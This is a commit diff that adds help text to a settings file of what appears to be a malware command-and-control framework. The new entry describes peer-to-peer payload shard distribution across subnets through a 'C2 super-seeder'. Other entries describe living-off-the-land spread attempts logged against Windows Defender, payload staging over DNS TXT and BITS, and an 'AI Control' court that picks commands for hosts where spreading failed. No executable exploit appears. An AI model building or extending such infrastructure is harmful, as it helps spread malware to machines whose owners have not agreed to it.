Implement fleet topology epidemiology tracker and strain plague map.

Adds epidemiology package, auth epidemiology_fix push, strain-based 3D map, and Vitest coverage.

server/web/src/help/settingHelp.ts

@@ -46,6 +46,8 @@ export const FIELD_HELP: Record<string, string> = {
     'Server-side failure atlas records conditioned tier failures (e.g. ps_inmemory under Defender on). After five failures it hard-skips subtrees in adaptive_strategy and pushes atlas_skips on agent auth. LOTL Timeline marks tiers skipped_by_atlas.',
   erasure_lanes:
     'Optional Reed–Solomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
+  fleet_torrent:
+    'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.',
   ai_court_session:
     'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
   calibration_ai_control: